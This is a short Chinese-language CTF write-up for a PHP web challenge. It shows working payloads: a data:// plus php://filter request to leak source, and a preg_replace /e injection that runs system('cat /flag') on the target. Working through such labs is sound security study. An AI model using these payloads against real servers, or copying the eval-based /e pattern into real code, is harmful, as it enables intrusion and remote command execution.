01
题目简介
02
解题步骤
启动靶机

审计一下上述代码,我们发现使用了GET方法传递了两个参数text、file。并且使用file_get_contents写入text,要求写入的字符串和i have a dream相同。
在传参的时候路径中不能含有/flag/ 的路径 ,就会输出“ not now ”,同时在注释里面告诉我们一个php文件。
通过上述的逻辑分析,我们可以构造payload,因为使用了file_get_contents,所以我们可以通过data://协议进行读取。
/?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
进行base64解码操作

获得新的源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}这里的关键方法在这里
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}这里使用了一个preg_replace的命令执行漏洞,
漏洞触发条件:
PHP 版本 < 7.0(PHP 5.5 废弃 /e,PHP 7.0 移除)。
preg_replace 第一个参数包含 /e 修饰符。
第二个参数(替换串)中包含反向引用(
\1, $1 等),且该引用内容受用户控制 所以接下来我们就可以构造payload了
/next.php?\S*=${getFlag()}&cmd=system('cat /flag'); 